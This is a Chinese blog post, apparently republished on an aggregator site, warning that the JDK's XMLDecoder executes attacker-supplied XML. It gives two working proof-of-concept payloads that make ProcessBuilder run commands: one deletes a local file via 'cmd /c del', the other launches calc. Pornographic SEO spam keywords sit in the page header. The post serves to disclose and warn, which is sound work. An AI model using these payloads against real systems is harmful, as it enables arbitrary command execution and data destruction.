日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > asp.net >内容正文

asp.net

jdk紧急漏洞,XMLDecoder反序列化攻击

發(fā)布時(shí)間:2025/3/18 asp.net 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 jdk紧急漏洞,XMLDecoder反序列化攻击 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

昨天在公司發(fā)現(xiàn)了一個(gè)jdk中的XMLDecoder反序列化的漏洞,看起來(lái)很危險(xiǎn)!下面通過(guò)兩個(gè)示例來(lái)看看這個(gè)漏洞的危害!

示例1:利用XmlDecoder刪除本地文件

首先來(lái)看這個(gè)xmldecoder.xml文件內(nèi)容:

<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="4"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>del</string></void><void index="3"><string>e:\1.txt</string></void> </array><void method="start" /></object> </java>

再來(lái)看利用XMLDecoder解析這個(gè)xml文件的示例代碼:

private static void byXmlFile() {File file = new File("E:\\xmldecoder.xml");XMLDecoder xd = null;try {xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close(); }

這段代碼執(zhí)行后,直接刪除了本地的e:\1.txt文件,相當(dāng)于在命令行調(diào)用了cmd /c del e:\1.txt命令,直接刪除了本地文件,相當(dāng)恐怖!

示例2:利用XmlDecoder調(diào)用本地程序

private static void byXmlString() {String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>").append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">").append(" <object class=\"java.lang.ProcessBuilder\">").append(" <array class=\"java.lang.String\" length=\"1\">").append(" <void index=\"0\">").append(" <string>calc</string>").append(" </void>").append(" </array>").append(" <void method=\"start\" />").append(" </object>").append("</java>").toString();XMLDecoder xd = null;try {xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close(); }

這段代碼改成了用String輸入源的形式,這不重要,重要的是還是利用了jdk中的XmlDecoder類來(lái)解析xml字符串。這段代碼執(zhí)行后,會(huì)調(diào)用出本地的計(jì)算器程序。

其中ProcessBuilder.start()的方法和Runtime.exec()方法一樣,都可以被用來(lái)創(chuàng)建一個(gè)操作系統(tǒng)進(jìn)程,可用來(lái)控制進(jìn)程狀態(tài)并獲得相關(guān)信息。

ProcessBuilder的構(gòu)造方法接受一個(gè)命令列表。

public ProcessBuilder(List<String> command) {if (command == null)throw new NullPointerException();this.command = command; }

總結(jié)

Jdk中的XmlDecoder反序列化存在安全漏洞,能調(diào)用本地的應(yīng)用,也能執(zhí)行系統(tǒng)支持的命令,一旦黑客組織成命令列表攻擊系統(tǒng),后果不堪設(shè)想!

我只是用ProcessBuilder類演示了調(diào)用系統(tǒng)程序這兩種案例,當(dāng)然還有其他,遠(yuǎn)不止這一種攻擊手段。作者看了下,這個(gè)漏洞在jdk8_0_151版本中還存在。

建議不要用JDK中的XmlDeocder類,尋求其它更安全的xml解析工具類。

求轉(zhuǎn)發(fā),緊急擴(kuò)散,避免更大程度的損失!~

推薦閱讀


個(gè)人珍藏最全Spring Boot全套視頻教程

分享一套高級(jí)視頻教程:Dubbo+Zookeeper+ActiveMQ+Redis系列

分享一套分布式架構(gòu)設(shè)計(jì)高級(jí)視頻教程

分享一套Hadoop全套視頻教程系列

去BAT面試完的Mysql面試題總結(jié)(55道,帶完整答案)

阿里高級(jí)Java面試題(首發(fā),70道,帶詳細(xì)答案)

2017派臥底去阿里、京東、美團(tuán)、滴滴帶回來(lái)的面試題及答案

Spring面試題(70道,史上最全)

通往大神之路,百度Java面試題前200頁(yè)。

分享Java干貨,高并發(fā)編程,熱門技術(shù)教程,微服務(wù)及分布式技術(shù),架構(gòu)設(shè)計(jì),區(qū)塊鏈技術(shù),人工智能,大數(shù)據(jù),Java面試題,以及前沿?zé)衢T資訊等。


總結(jié)

以上是生活随笔為你收集整理的jdk紧急漏洞,XMLDecoder反序列化攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。